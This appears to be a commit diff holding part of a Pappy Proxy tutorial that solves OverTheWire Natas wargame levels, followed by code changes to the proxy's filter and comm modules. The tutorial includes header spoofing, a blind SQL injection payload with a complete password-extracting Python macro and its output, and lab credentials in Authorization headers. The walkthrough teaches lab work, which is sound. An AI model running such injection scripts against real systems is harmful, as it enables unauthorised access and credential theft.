+When you visit this page, you get a message saying "There is nothing on this page". That is probably a blatant lie. Let's see what was in that response.::
+
+  itsPappyTime> ls
+  ID  Verb  Host                               Path                 S-Code            Req Len  Rsp Len  Time  Mngl
+  30  GET   natas2.natas.labs.overthewire.org  /favicon.ico         404 Not Found     0        307      0.27  --
+  29  GET   natas2.natas.labs.overthewire.org  /favicon.ico         404 Not Found     0        307      0.27  --
+  28  GET   natas2.natas.labs.overthewire.org  /files/pixel.png     200 OK            0        303      0.27  --
+  27  GET   natas2.natas.labs.overthewire.org  /                    200 OK            0        872      0.27  --
+  26  GET   natas2.natas.labs.overthewire.org  /                    401 Unauthorized  0        479      0.27  --
+  ... snip ...
+  itsPappyTime> vfs 27
+  
+  HTTP/1.1 200 OK
+  ... snip ...
+  <body>
+  <h1>natas2</h1>
+  <div id="content">
+  There is nothing on this page
+  <img src="files/pixel.png">
+  </div>
+  </body></html>
+  
+  itsPappyTime>
+
+So the only suspicious thing is ``<img src="files/pixel.png">``. I'll let you figure out the rest ;)
+
+Natas 3
+-------
+This one doesn't require Pappy. Just view the ``robots.txt`` file.
+
+Finding Your Passwords Later (How to Use Filters)
+-------------------------------------------------
+This section will explain how to use Pappy's filters to find passwords to levels you've already completed. Every in-scope request and response that goes through Pappy is stored in the ``data.db`` file in your project directory. We can use filter commands to search through these requests to find resposes with passwords.
+
+Filters
++++++++
+
+Here are the commands we'll learn:
+
+1. ``filter <filter string>`` / ``f <filter string>`` Add a filter that limits which requests are included in the current context
+2. ``fu`` Remove the most recently applied filter
+3. ``sr`` Reset the context so that it matches the scope
+4. ``filter_clear`` Remove all filters from the context, including the filters applied by the scope
+5. ``fls`` Show all currently applied filters
+
+The most complicated of these is the ``filter`` command since it takes a filter string as an argument. All a filter string is is a string that defines which requests will pass the filter. Anything that doesn't pass the filter will be removed from the context. Most filter strings are of the format ``<field> <comparer> <value>``. For example::
+  
+    host is www.target.org
+
+    field = "host"
+    comparer = "is"
+    value = "www.target.org"
+
+This filter will only match requests whose host is exactly ``www.target.org``. When defining our scope, we applied a filter using a ``containsr`` comparer. This matches any request where the field matches a regular expression. Here are a few fields and comparers:
+
+Commonly used fields
+
+* ``all`` The full text of the request and the response
+* ``host`` The hostname of where the request is sent
+* ``path`` The target path of the request. ie ``/path/to/page.php``
+* ``verb`` The HTTP verb. ie ``POST`` or ``GET`` (case sensitive!)
+* ``body`` The data section (the body) of either the request or the response
+
+Commonly used comparers
+
+* ``is <value>`` The field exactly matches the value
+* ``contains <value>`` / ``ct <value>`` The field contains a value
+* ``containsr <regexp>`` / ``ctr <regexp>`` The field matches a regexp. You may want to surround the regexp in quotes since a number of regexp characters are also control characters in the command line
+
+You can find the rest of the fields and comparers (including some more complex ones) in the actual documentation.
+
+Once you've applied some filters, ``ls`` will only show items that pass all the applied filters. If you want to return to viewing all in-scope items, use ``sr``. If you want to remove the last applied filter, use ``fu``.
+
+Finding Passwords
++++++++++++++++++
+While we can't find all the passwords with one filter, if we remember how we got the password, we can find it pretty quickly
+
+For natas0 and natas1, the responses had a phrase like "the password is abc123". So we can filter out anything that doesn't have the word "password" in it.::
+
+    itsPappyTime> ls
+    ID  Verb  Host                               Path               S-Code                 Req Len  Rsp Len  Time  Mngl
+    52  GET   natas4.natas.labs.overthewire.org  /favicon.ico       404 Not Found          0        307      0.26  --
+    51  GET   natas4.natas.labs.overthewire.org  /favicon.ico       404 Not Found          0        307      0.27  --
+    50  GET   natas4.natas.labs.overthewire.org  /                  200 OK                 0        1019     0.27  --
+    49  GET   natas4.natas.labs.overthewire.org  /                  401 Unauthorized       0        479      0.26  --
+    48  GET   natas3.natas.labs.overthewire.org  /s3cr3t/users.txt  200 OK                 0        40       0.27  --
+    46  GET   natas3.natas.labs.overthewire.org  /icons/text.gif    200 OK                 0        229      0.53  --
+    47  GET   natas3.natas.labs.overthewire.org  /icons/back.gif    200 OK                 0        216      0.53  --
+    45  GET   natas3.natas.labs.overthewire.org  /icons/blank.gif   200 OK                 0        148      0.53  --
+    44  GET   natas3.natas.labs.overthewire.org  /s3cr3t/           200 OK                 0        957      0.26  --
+    43  GET   natas3.natas.labs.overthewire.org  /s3cr3t            301 Moved Permanently  0        354      0.27  --
+    42  GET   natas3.natas.labs.overthewire.org  /robots.txt        200 OK                 0        33       0.29  --
+    41  GET   natas3.natas.labs.overthewire.org  /favicon.ico       404 Not Found          0        307      0.26  --
+    40  GET   natas3.natas.labs.overthewire.org  /favicon.ico       404 Not Found          0        307      0.28  --
+    39  GET   natas3.natas.labs.overthewire.org  /                  200 OK                 0        923      0.26  --
+    38  GET   natas3.natas.labs.overthewire.org  /                  401 Unauthorized       0        479      0.28  --
+    37  GET   natas2.natas.labs.overthewire.org  /files/users.txt   200 OK                 0        145      0.28  --
+    36  GET   natas2.natas.labs.overthewire.org  /icons/text.gif    200 OK                 0        229      0.47  --
+    35  GET   natas2.natas.labs.overthewire.org  /icons/image2.gif  200 OK                 0        309      0.47  --
+    34  GET   natas2.natas.labs.overthewire.org  /icons/back.gif    200 OK                 0        216      0.47  --
+    33  GET   natas2.natas.labs.overthewire.org  /icons/blank.gif   200 OK                 0        148      0.47  --
+    32  GET   natas2.natas.labs.overthewire.org  /files/            200 OK                 0        1153     0.26  --
+    31  GET   natas2.natas.labs.overthewire.org  /files             301 Moved Permanently  0        353      0.27  --
+    30  GET   natas2.natas.labs.overthewire.org  /favicon.ico       404 Not Found          0        307      0.27  --
+    29  GET   natas2.natas.labs.overthewire.org  /favicon.ico       404 Not Found          0        307      0.27  --
+    28  GET   natas2.natas.labs.overthewire.org  /files/pixel.png   200 OK                 0        303      0.27  --
+    itsPappyTime> f body ct password
+    itsPappyTime> ls
+    ID  Verb  Host                               Path                 S-Code            Req Len  Rsp Len  Time  Mngl
+    49  GET   natas4.natas.labs.overthewire.org  /                    401 Unauthorized  0        479      0.26  --
+    38  GET   natas3.natas.labs.overthewire.org  /                    401 Unauthorized  0        479      0.28  --
+    37  GET   natas2.natas.labs.overthewire.org  /files/users.txt     200 OK            0        145      0.28  --
+    26  GET   natas2.natas.labs.overthewire.org  /                    401 Unauthorized  0        479      0.27  --
+    20  GET   natas.labs.overthewire.org         /js/wechall.js       200 OK            0        1074     0.47  --
+    24  GET   natas.labs.overthewire.org         /js/jquery-1.9.1.js  200 OK            0        268381   1.20  --
+    17  GET   natas1.natas.labs.overthewire.org  /                    200 OK            0        1063     0.30  --
+    14  GET   natas1.natas.labs.overthewire.org  /                    200 OK            0        1063     0.27  --
+    13  GET   natas1.natas.labs.overthewire.org  /                    401 Unauthorized  0        479      0.27  --
+    9   GET   natas.labs.overthewire.org         /js/wechall.js       200 OK            0        1074     0.50  --
+    6   GET   natas.labs.overthewire.org         /js/jquery-1.9.1.js  200 OK            0        268381   1.20  --
+    2   GET   natas0.natas.labs.overthewire.org  /                    200 OK            0        918      0.26  --
+    1   GET   natas0.natas.labs.overthewire.org  /                    401 Unauthorized  0        479      0.26  --
+    itsPappyTime>
+
+It looks like requests 2 and 14 are the ones we're looking for (we know the password is on the page and those are the requests to / that have a 200 OK response). Use ``vfs`` to look at the response and you'll get the passwords again! It looks like we also found the password from natas2 (the request to /s3cr3t/users.txt).
+
+Anyways, back to Natas!
+
+Natas 4
+-------
+When we visit this page, we get an error saying that they will only display the password if we visit from ``http://natas5.natas.labs.overthewire.org/``. How does a website track where you came from? The Referer header! Where's that defined? In a header! Do we control the headers? Yes! So all we have to do is set the Referer header to be the correct URL and we're golden.
+
+To do this, we'll be using Pappy's interceptor. The interceptor lets you stop a request from the browser, edit it, then send it to the server. These are the commands we're going to learn:
+
+* ``ic <req|rsp>+`` Begin interception mode. Intercepts requests and/or responses as decided by the arguments given in the command. ``ic req`` will only intercept requests, ``ic rsp`` will only intercept responses, and ``ic req rsp`` will intercept both.
+
+In this case, we only want to intercept requests, so we'll run ``ic req``::
+
+  itsPappyTime> ic req
+
+And we'll get a screen that says something like::
+
+  Currently intercepting: Requests
+  0 item(s) in queue.
+  Press 'n' to edit the next item or 'q' to quit interceptor.
+
+Now refresh the page in your browser. The page will hang like it's taking a long time to load. Go back to Pappy, and now the interceptor will say something like::
+
+  Currently intercepting: Requests
+  1 item(s) in queue.
+  Press 'n' to edit the next item or 'q' to quit interceptor.
+
+Press ``n`` and the request will be opened for editing! Which editor is used is defined by the ``EDITOR`` environment variable. Use the text editor to add a ``Referer`` header (note that there's only one r)::
+
+  GET / HTTP/1.1
+  Host: natas4.natas.labs.overthewire.org
+  User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
+  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+  Accept-Language: en-US,en;q=0.5
+  Accept-Encoding: gzip, deflate
+  Cookie: __cfduid=db41e9d9b4a13cc3ef4273055b71996fb1450464664
+  Authorization: Basic bmF0YXM0Olo5dGtSa1dtcHQ5UXI3WHJSNWpXUmtnT1U5MDFzd0Va
+  Connection: keep-alive
+  Cache-Control: max-age=0
+  Referer: http://natas5.natas.labs.overthewire.org/
+
+Save and quit, then press ``q`` to quit the interceptor. Go back to the browser and you should have the password for natas5! Yay!
+
+Now if you run ls, you'll notice that the request we made has a ``q`` in the ``Mngl`` column. This means that we mangled the request. If there's an ``s`` in that column, it means we mangled the response. If we ever want to refer to the unmangled version of the request, just prefix the id with a u. For example, you can get the unmangled version of request ``12`` by using the id ``u12``.
+
+Natas 5
+-------
+
+This one starts with a screen saying you're not logged in. This is fine. For this one, you'll need to use the interceptor to edit the value of a cookie. I'll let you figure that one out.
+
+Natas 6
+-------
+
+This one you should be able to get
+
+Natas 7
+-------
+
+You should get this one. Note the hint on the `overthewire website <http://overthewire.org/wargames/natas/>`_: All passwords are also stored in /etc/natas_webpass/. E.g. the password for natas5 is stored in the file /etc/natas_webpass/natas5 and only readable by natas4 and natas5.
+
+Natas 8
+-------
+
+You should be able to get this one. If it sucks, google it.
+
+Natas 9
+-------
+
+For this one, when you view the source you'll notice they're taking value you entered and inserting it directly into a command line command to grep a file. What we want to do is insert our own arguments to the command. For this one, we will learn how to use the repeater. Here is the command we will learn:
+
+* ``rp <reqid>`` Open the vim repeater with the given request
+* ``<leader>f`` (In the repeater) forward the request
+  
+.. note::
+   Use ``:wq!`` to quit the repeater without having to save buffers
+  
+.. note::
+   You must know the basics of how to use vim for the repeater and have a key bound to the leader. You can find more information on the leader key ``here <https://stackoverflow.com/questions/1764263/what-is-the-leader-in-a-vimrc-file>``. By default <leader> is bound to ``\``.
+   
+Submit a request then open that request in the repeater.::
+  itsPappyTime> ls
+  196  GET   natas9.natas.labs.overthewire.org  /index.php?needle=ball&submit=Search      200 OK            0        1686     0.27  --
+  195  GET   natas9.natas.labs.overthewire.org  /index-source.html                        200 OK            0        1952     0.27  --
+  ... snip ...
+  itsPappyTime> rp 196
+
+Vim will open up in a vertical split with the request on the left and the response on the right.
+
+In the repeater, you edit the response on the left, then press the ``<leader>`` key then ``f`` to submit the modified request (note that your cursor must be in the left window). The response will then be put in the right window. This makes it easy to quickly make requests which are all slight variations of each other.
+
+In this case, we'll be editing the ``needle`` get parameter. Try changing "ball" to "bill" and submitting it. You'll notice that the output in the right window changes to contain words that have the word "bill" in them. The repeater will make it easy to make tweaks to your payload and get quick feedback without having to use the browser.
+
+Use the repeater to solve this challenge (you may need to url encode some characters by hand, unfortunately).
+
+Skip a few... Natas 15
+----------------------
+All the challenges up to this point should be doable with the repeater/interceptor. Natas15 is where things get hairy though. This is a blind SQL injection, and you'll have to write a script to do it. Luckily for us, writing scripts using Pappy is easy. If you're lazy and don't want to actually do the challenges, google the password for natas15 then come back.
+
+Commands we'll learn:
+
+* ``gma <name> <reqid(s)>`` Generate a macro with objects pre-defined for the given requests
+* ``lma`` Load macros
+* ``rma <name> [args]`` Run a macro, optionally with arguments
+
+So the first thing we'll do is submit a request to have a base request that we can modify. Submit a request with any username. You should get a response back saying the user doesn't exist. Now we'll generate a macro and use that request as a base for our script::
+
+  itsPappyTime> ls
+  ID   Verb  Host                                Path                                      S-Code            Req Len  Rsp Len  Time  Mngl
+  224  POST  natas15.natas.labs.overthewire.org  /index.php                                200 OK            14       937      0.27  --
+  223  POST  natas15.natas.labs.overthewire.org  /index.php                                200 OK            12       937      0.27  --
+  222  GET   natas15.natas.labs.overthewire.org  /index-source.html                        200 OK            0        3325     0.28  --
+  221  GET   natas15.natas.labs.overthewire.org  /favicon.ico                              404 Not Found     0        308      0.25  --
+  220  GET   natas15.natas.labs.overthewire.org  /favicon.ico                              404 Not Found     0        308      0.27  --
+  219  GET   natas15.natas.labs.overthewire.org  /                                         200 OK            0        1049     0.37  --
+  218  GET   natas15.natas.labs.overthewire.org  /                                         401 Unauthorized  0        480      0.27  --
+  ... snip ...
+
+  itsPappyTime> gma brute 224
+  Wrote script to macro_brute.py
+  itsPappyTime>
+
+Now open up ``macro_brute.py`` in your favorite text editor. You should have a script that looks like this::
+
+  from pappyproxy.http import Request, get_request, post_request
+  from pappyproxy.context import set_tag
+  
+  MACRO_NAME = 'Macro 41855887'
+  SHORT_NAME = ''
+  
+  ###########
+  ## Requests
+  # It's suggested that you call .copy() on these and then edit attributes
+  # as needed to create modified requests
+  ##
+  
+  
+  req1 = Request((
+      'POST /index.php HTTP/1.1\r\n'
+      'Host: natas15.natas.labs.overthewire.org\r\n'
+      'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0\r\n'
+      'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n'
+      'Accept-Language: en-US,en;q=0.5\r\n'
+      'Accept-Encoding: gzip, deflate\r\n'
+      'Referer: http://natas15.natas.labs.overthewire.org/\r\n'
+      'Cookie: __cfduid=db41e9d9b4a13cc3ef4273055b71996fb1450464664\r\n'
+      'Authorization: Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==\r\n'
+      'Connection: keep-alive\r\n'
+      'Content-Type: application/x-www-form-urlencoded\r\n'
+      'Content-Length: 14\r\n'
+      '\r\n'
+      'username=admin'
+  ))
+  
+  
+  def run_macro(args):
+      # Example:
+      # req = req0.copy() # Copy req0
+      # req.submit() # Submit the request to get a response
+      # print req.response.raw_headers # print the response headers
+      # req.save() # save the request to the data file
+      # or copy req0 into a loop and use string substitution to automate requests
+      pass
+
+Pappy will generate a script and create a ``Request`` object that you can use. Check out the real documentation to see everything you can do with a ``Request`` object. For now you just need to know a few things about it:
+
+* :func:`~pappyproxy.http.Request.submit` Submit the request and store the response object
+* :func:`~pappyproxy.http.Request.save` Save the request/response to the data file
+* ``post_params`` A :class:`~pappyproxy.http.RepeatableDict` that represents the post parameters of the request. Can set/get prameters the same way as a dictionary.
+  
+It is suggested you go through the documentation to learn the rest of the attributes/functions.
+
+To start out simple, we'll write a macro that lets us check a username from the Pappy console. To define a function, you define the ``run_macro`` function. The function is passed a list of arguments which represent the arguments entered. Here a ``run_macro`` function that we can define that will check if a user exists::
+
+    def run_macro(args):
+        to_check = args[0] # get the username to check
+        r = req1.copy() # make a copy of the base request
+        r.post_params['username'] = to_check # set the username param of the request
+        r.submit() # submit the request
+        if "This user doesn't exist." in r.response.raw_data: # check if the username is valid
+            print "%s is not a user" % to_check
+        else:
+            print "%s is a user!" % to_check
+
+Then to run it::
+
+  itsPappyTime> lma
+  Loaded "<Macro Macro 41855887 (brute)>"
+  itsPappyTime> rma brute admin
+  admin is not a user
+  itsPappyTime> rma brute fooooo
+  fooooo is not a user
+  itsPappyTime> rma brute natas16
+  natas16 is a user!
+  itsPappyTime>
+
+Awesome! Notice how we didn't have to deal with authentication either. This is because the authentication is handled by the ``Authorization`` header which was included in the generated request.
+
+Time to add the SQL injection part. If we look at the source, we see that this is the SQL query that checks the username::
+  
+  $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\""; 
+
+So to escape it, we use a payload like::
+
+  username" OR 1=1; #
+
+In this case, any username that ends in ``" OR 1=1; #`` will be considered a valid username. Let's try this out::
+
+  itsPappyTime> rma brute "foo\" OR 1=1;"
+  foo" OR 1=1; is a user!
+  itsPappyTime> rma brute "fooooooo\" OR 1=1;"
+  fooooooo" OR 1=1; is a user!
+  itsPappyTime>
+
+Great! Now we can check any true/false condition we want. In this case, we want to check if a certain character is at a certain position in the ``password`` column. We do this with the ``ASCII`` and ``SUBSTRING`` functions. So something like this will check if the first character is an ``A``.::
+
+  'natas16" AND ASCII(SUBSTRING(password, 0, 1)) = 41; #'
+
+Alright, let's update our macro to find the first character of the password.::
+
+  from pappyproxy.http import Request, get_request, post_request
+  from pappyproxy.context import set_tag
+  
+  MACRO_NAME = 'Macro 41855887'
+  SHORT_NAME = ''
+  
+  ###########
+  ## Requests
+  # It's suggested that you call .copy() on these and then edit attributes
+  # as needed to create modified requests
+  ##
+  
+  
+  req1 = Request((
+      'POST /index.php HTTP/1.1\r\n'
+      'Host: natas15.natas.labs.overthewire.org\r\n'
+      'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0\r\n'
+      'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n'
+      'Accept-Language: en-US,en;q=0.5\r\n'
+      'Accept-Encoding: gzip, deflate\r\n'
+      'Referer: http://natas15.natas.labs.overthewire.org/\r\n'
+      'Cookie: __cfduid=db41e9d9b4a13cc3ef4273055b71996fb1450464664\r\n'
+      'Authorization: Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==\r\n'
+      'Connection: keep-alive\r\n'
+      'Content-Type: application/x-www-form-urlencoded\r\n'
+      'Content-Length: 14\r\n'
+      '\r\n'
+      'username=admin'
+  ))
+  
+  def check_char(char, pos):
+      payload = 'natas16" AND ASCII(SUBSTRING(password, %d, 1)) = %d; #' % (pos, ord(char))
+      r = req1.copy()
+      r.post_params['username'] = payload
+      r.submit()
+      if "This user doesn't exist." in r.response.raw_data:
+          return False
+      else:
+          return True
+  
+  def run_macro(args):
+      valid_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890"
+      for c in valid_chars:
+          print 'Trying %s...' % c
+          if check_char(c, 1):
+              print '%s is the first char!' % c
+              return
+      print "The script didn't work"
+
+And when we run it...::
+
+  itsPappyTime> lma
+  Loaded "<Macro Macro 41855887 (brute)>"
+  itsPappyTime> rma brute
+  Trying a...
+  Trying b...
+  Trying c...
+  Trying d...
+  ... snip ...
+  Trying U...
+  Trying V...
+  Trying W...
+  W is the first char!
+  itsPappyTime>
+
+We find the first character! Woo! Next we just have to do this for each position. Even through we don't know the length of the password, we will know that the password is over when none of the characters are valid. So let's update our macro::
+
+  import sys
+  from pappyproxy.http import Request, get_request, post_request
+  from pappyproxy.context import set_tag
+  
+  MACRO_NAME = 'Macro 41855887'
+  SHORT_NAME = ''
+  
+  ###########
+  ## Requests
+  # It's suggested that you call .copy() on these and then edit attributes
+  # as needed to create modified requests
+  ##
+  
+  
+  req1 = Request((
+      'POST /index.php HTTP/1.1\r\n'
+      'Host: natas15.natas.labs.overthewire.org\r\n'
+      'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0\r\n'
+      'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n'
+      'Accept-Language: en-US,en;q=0.5\r\n'
+      'Accept-Encoding: gzip, deflate\r\n'
+      'Referer: http://natas15.natas.labs.overthewire.org/\r\n'
+      'Cookie: __cfduid=db41e9d9b4a13cc3ef4273055b71996fb1450464664\r\n'
+      'Authorization: Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==\r\n'
+      'Connection: keep-alive\r\n'
+      'Content-Type: application/x-www-form-urlencoded\r\n'
+      'Content-Length: 14\r\n'
+      '\r\n'
+      'username=admin'
+  ))
+  
+  def check_char(char, pos):
+      payload = 'natas16" AND ASCII(SUBSTRING(password, %d, 1)) = %d; #' % (pos, ord(char))
+      r = req1.copy()
+      r.post_params['username'] = payload
+      r.submit()
+      if "This user doesn't exist." in r.response.raw_data:
+          return False
+      else:
+          return True
+  
+  def run_macro(args):
+      valid_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890"
+      password = ''
+      done = False
+      while True:
+          done = True
+          for c in valid_chars:
+              # Print the current char to the current line
+              print c,
+              sys.stdout.flush()
+  
+              # Check the current char
+              if check_char(c, len(password)+1):
+                  # We got the correct char!
+                  password += c
+                  # Print it to the screen
+                  print ''
+                  print '%s is char %d!' % (c, len(password)+1)
+                  print 'The password so far is %s' % password
+                  # We have to do another round
+                  done = False
+                  break
+          if done:
+              # We got through the entire alphabet
+              print ''
+              print 'Done! The password is "%s"' % password
+              break
+
+Then we run it::
+
+  itsPappyTime> lma
+  Loaded "<Macro Macro 41855887 (brute)>"
+  itsPappyTime> rma brute
+  a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W
+  W is char 1!
+  The password so far is W
+  a
+  a is char 2!
+  The password so far is Wa
+  a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I
+  I is char 3!
+  The password so far is WaI
+  a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H
+  H is char 4!
+  The password so far is WaIH
+  a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E
+
+  ... snip ...
+
+  The password so far is WaIHEacj63wnNIBROHeqi3p9t0m5nh
+  a b c d e f g h i j k l m
+  m is char 31!
+  The password so far is WaIHEacj63wnNIBROHeqi3p9t0m5nhm
+  a b c d e f g h
+  h is char 32!
+  The password so far is WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
+  a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 0
+  Done! The password is "WaIHEacj63wnNIBROHeqi3p9t0m5nhmh"
+  itsPappyTime>
+
+Boom! There it is!
+
+Conclusion
+==========
+
+That's pretty much all you need to get started with Pappy. Make sure to go through the documentation to learn about all the other features that weren't covered in this tutorial. Hopefully you didn't find Pappy too hard to use and you'll consider it for your next engagement.

pappyproxy/comm.py

@@ -70,22 +70,22 @@ class CommServer(LineReceiver):
     @defer.inlineCallbacks
     def action_get_request(self, data):
         try:
-            reqid = int(data['reqid'])
+            reqid = data['reqid']
+            req = yield pappyproxy.http.Request.load_request(reqid)
         except KeyError:
             raise PappyException("Request with given ID does not exist")
 
-        req = yield pappyproxy.http.Request.load_request(reqid)
         dat = json.loads(req.to_json())
         defer.returnValue(dat)
 
     @defer.inlineCallbacks
     def action_get_response(self, data):
         try:
-            reqid = int(data['reqid'])
+            reqid = data['reqid']
+            req = yield pappyproxy.http.Request.load_request(reqid)
         except KeyError:
             raise PappyException("Request with given ID does not exist, cannot fetch associated response.")
 
-        req = yield pappyproxy.http.Request.load_request(reqid)
         if req.response:
             rsp = yield pappyproxy.http.Response.load_response(req.response.rspid)
             dat = json.loads(rsp.to_json())
@@ -101,11 +101,11 @@ class CommServer(LineReceiver):
             req.is_ssl = data['is_ssl']
         except:
             raise PappyException("Error parsing request")
-        req_sub = yield req.submit_self()
-        yield req_sub.deep_save()
+        yield req.async_submit()
+        yield req.async_deep_save()
 
         retdata = {}
-        retdata['request'] = json.loads(req_sub.to_json())
-        if req_sub.response:
-            retdata['response'] = json.loads(req_sub.response.to_json())
+        retdata['request'] = json.loads(req.to_json())
+        if req.response:
+            retdata['response'] = json.loads(req.response.to_json())
         defer.returnValue(retdata)

pappyproxy/context.py

@@ -1,7 +1,10 @@
 from pappyproxy import http
 from twisted.internet import defer
 from util import PappyException
+import crochet
 import shlex
+import datetime
+import re
 
 
 """
@@ -13,7 +16,40 @@ Functions and classes involved with managing the current context and filters
 scope = []
 base_filters = []
 active_filters = []
-active_requests = []
+active_requests = set()
+inactive_requests = set()
+all_reqs = set()
+in_memory_requests = set()
+next_in_mem_id = 1
+
+class BuiltinFilters(object):
+    _filters = {
+        'not_image': (
+            ['path nctr "(\.png$|\.jpg$|\.gif$)"'],
+            'Filter out image requests',
+        ),
+        'not_jscss': (
+            ['path nctr "(\.js$|\.css$)"'],
+            'Filter out javascript and css files',
+        ),
+    }
+    
+    @staticmethod
+    def get(name):
+        if name not in BuiltinFilters._filters:
+            raise PappyException('%s not a bult in filter' % name)
+        if name in BuiltinFilters._filters:
+            return [Filter(f) for f in BuiltinFilters._filters[name][0]]
+
+    @staticmethod
+    def list():
+        return [k for k, v in BuiltinFilters._filters.iteritems()]
+
+    @staticmethod
+    def help(name):
+        if name not in BuiltinFilters._filters:
+            raise PappyException('%s not a bult in filter' % name)
+        return Filter(BuiltinFilters._filters[name][1])
 
 class FilterParseError(PappyException):
     pass
@@ -27,6 +63,9 @@ class Filter(object):
     def __call__(self, *args, **kwargs):
         return self.filter_func(*args, **kwargs)
 
+    def __repr__(self):
+        return '<Filter "%s">' % self.filter_string
+
     @staticmethod
     def from_filter_string(filter_string):
         args = shlex.split(filter_string)
@@ -39,9 +78,6 @@ class Filter(object):
             negate = True
             relation = relation[1:]
 
-        # Raises exception if invalid
-        comparer = get_relation(relation)
-
         if len(args) > 2:
             val1 = args[2]
         elif relation not in ('ex',):
@@ -57,6 +93,9 @@ class Filter(object):
         else:
             comp2 = None
 
+        # Raises exception if invalid
+        comparer = get_relation(relation, val1)
+
         if field in ("all",):
             new_filter = gen_filter_by_all(comparer, val1, negate)
         elif field in ("host", "domain", "hs", "dm"):
@@ -69,7 +108,7 @@ class Filter(object):
             new_filter = gen_filter_by_verb(comparer, val1, negate)
         elif field in ("param", "pm"):
             if len(args) > 4:
-                comparer2 = get_relation(comp2)
+                comparer2 = get_relation(comp2, val2)
                 new_filter = gen_filter_by_params(comparer, val1,
                                                   comparer2, val2, negate)
             else:
@@ -77,7 +116,7 @@ class Filter(object):
                                                   negate=negate)
         elif field in ("header", "hd"):
             if len(args) > 4:
-                comparer2 = get_relation(comp2)
+                comparer2 = get_relation(comp2, val2)
                 new_filter = gen_filter_by_headers(comparer, val1,
                                                    comparer2, val2, negate)
             else:
@@ -87,7 +126,7 @@ class Filter(object):
             new_filter = gen_filter_by_raw_headers(comparer, val1, negate)
         elif field in ("sentcookie", "sck"):
             if len(args) > 4:
-                comparer2 = get_relation(comp2)
+                comparer2 = get_relation(comp2, val2)
                 new_filter = gen_filter_by_submitted_cookies(comparer, val1,
                                                              comparer2, val2, negate)
             else:
@@ -95,7 +134,7 @@ class Filter(object):
                                                              negate=negate)
         elif field in ("setcookie", "stck"):
             if len(args) > 4:
-                comparer2 = get_relation(comp2)
+                comparer2 = get_relation(comp2, val2)
                 new_filter = gen_filter_by_set_cookies(comparer, val1,
                                                        comparer2, val2, negate)
             else:
@@ -105,6 +144,10 @@ class Filter(object):
             new_filter = gen_filter_by_response_code(comparer, val1, negate)
         elif field in ("responsetime", "rt"):
             pass
+        elif field in ("tag", "tg"):
+            new_filter = gen_filter_by_tag(comparer, val1, negate)
+        elif field in ("saved", "svd"):
+            new_filter = gen_filter_by_saved(comparer, val1, negate)
         else:
             raise FilterParseError("%s is not a valid field" % field)
 
@@ -113,19 +156,16 @@ class Filter(object):
         else:
             raise FilterParseError("Error creating filter")
 
-
 def filter_reqs(requests, filters):
-    to_delete = []
+    to_delete = set()
     # Could definitely be more efficient, but it stays like this until
     # it impacts performance
-    for filt in filters:
-        for req in requests:
+    for req in requests:
+        for filt in filters:
             if not filt(req):
-                to_delete.append(req)
-        new_requests = [r for r in requests if r not in to_delete]
-        requests = new_requests
-        to_delete = []
-    return requests
+                to_delete.add(req)
+    requests = [r for r in requests if r not in to_delete]
+    return (requests, list(to_delete))
 
 def cmp_is(a, b):
     return str(a) == str(b)
@@ -134,7 +174,7 @@ def cmp_contains(a, b):
     return (b.lower() in a.lower())
 
 def cmp_exists(a, b=None):
-    return (a is not None)
+    return (a is not None and a != [])
 
 def cmp_len_eq(a, b):
     return (len(a) == int(b))
@@ -154,9 +194,18 @@ def cmp_gt(a, b):
 def cmp_lt(a, b):
     return (int(a) < int(b))
 
+def cmp_containsr(a, b):
+    try:
+        if re.search(b, a):
+            return True
+        return False
+    except re.error as e:
+        raise PappyException('Invalid regexp: %s' % e)
+
 
 def gen_filter_by_attr(comparer, val, attr, negate=False):
     """
+    NOINDEX
     Filters by an attribute whose name is shared by the request and response
     objects
     """
@@ -222,7 +271,7 @@ def gen_filter_by_response_code(comparer, val, negate=False):
         
 def gen_filter_by_path(comparer, val, negate=False):
     def f(req):
-        result = comparer(req.path, val)
+        result = comparer(req.full_path, val)
         if negate:
             return not result
         else:
@@ -250,6 +299,35 @@ def gen_filter_by_verb(comparer, val, negate=False):
 
     return f
 
+def gen_filter_by_tag(comparer, val, negate=False):
+    def f(req):
+        result = False
+        for tag in req.tags:
+            if comparer(tag, val):
+                result = True
+                break
+        if negate:
+            return not result
+        else:
+            return result
+
+    return f
+
+def gen_filter_by_saved(comparer, val, negate=False):
+    def f(req):
+        result = False
+        if req.saved:
+            result = comparer('true', val)
+        else:
+            result = comparer('false', val)
+        if negate:
+            return not result
+        else:
+            return result
+
+    return f
+                
+
 def check_repeatable_dict(d, comparer1, val1, comparer2=None, val2=None, negate=False):
     result = False
     for k, v in d.all_pairs():
@@ -319,11 +397,11 @@ def gen_filter_by_set_cookies(keycomparer, keyval, valcomparer=None,
 
     return f
 
-def gen_filter_by_get_params(keycomparer, keyval, valcomparer=None, valval=None,
